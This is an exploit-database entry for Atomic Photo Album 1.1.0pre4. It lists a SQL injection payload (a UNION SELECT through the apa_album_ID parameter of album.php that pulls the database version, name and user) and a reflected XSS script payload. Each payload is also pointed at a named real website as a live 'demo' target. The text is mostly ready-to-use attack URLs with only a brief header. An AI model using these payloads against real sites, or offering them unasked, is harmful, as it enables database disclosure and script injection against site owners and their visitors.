Atomic Photo Album 1.1.0pre4 (XSS/SQL) Remote Vulnerabilities

2008-09-25T00:00:00
ID 1337DAY-ID-3759
Type zdt
Reporter DevilZ TM
Modified 2008-09-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
Atomic Photo Album 1.1.0pre4 (XSS/SQL) Remote Vulnerabilities
=============================================================


[~]-----------------------------------------------------------------------
[~] Atomic Photo Album 1.1.0pre4 [album.php] - Multiple Remote Vulnerabilities
[~]
[~] http://atomicpa.sourceforge.net
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 25.09.2008
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Pentest| Gibon| Pig       
[~]-------------------------------------------------------------
[~] Exploit :- SQL Injection
[~]
[~] http://site.com/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :-
[~]
[~] http://www.rockimkuhcenter.de/new/fotos/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~]---------------------------------------------------------------------------------------------------------------------------
[~]
[~] Exploit :- XSS (cross site scripting)
[~]
[~] http://site.com/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~] Demo :-
[~]
[~] http://www.rockimkuhcenter.de/new/fotos/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~]----------------------------------------------------------------------------------------------------------------------------



#  0day.today [2018-01-05]  #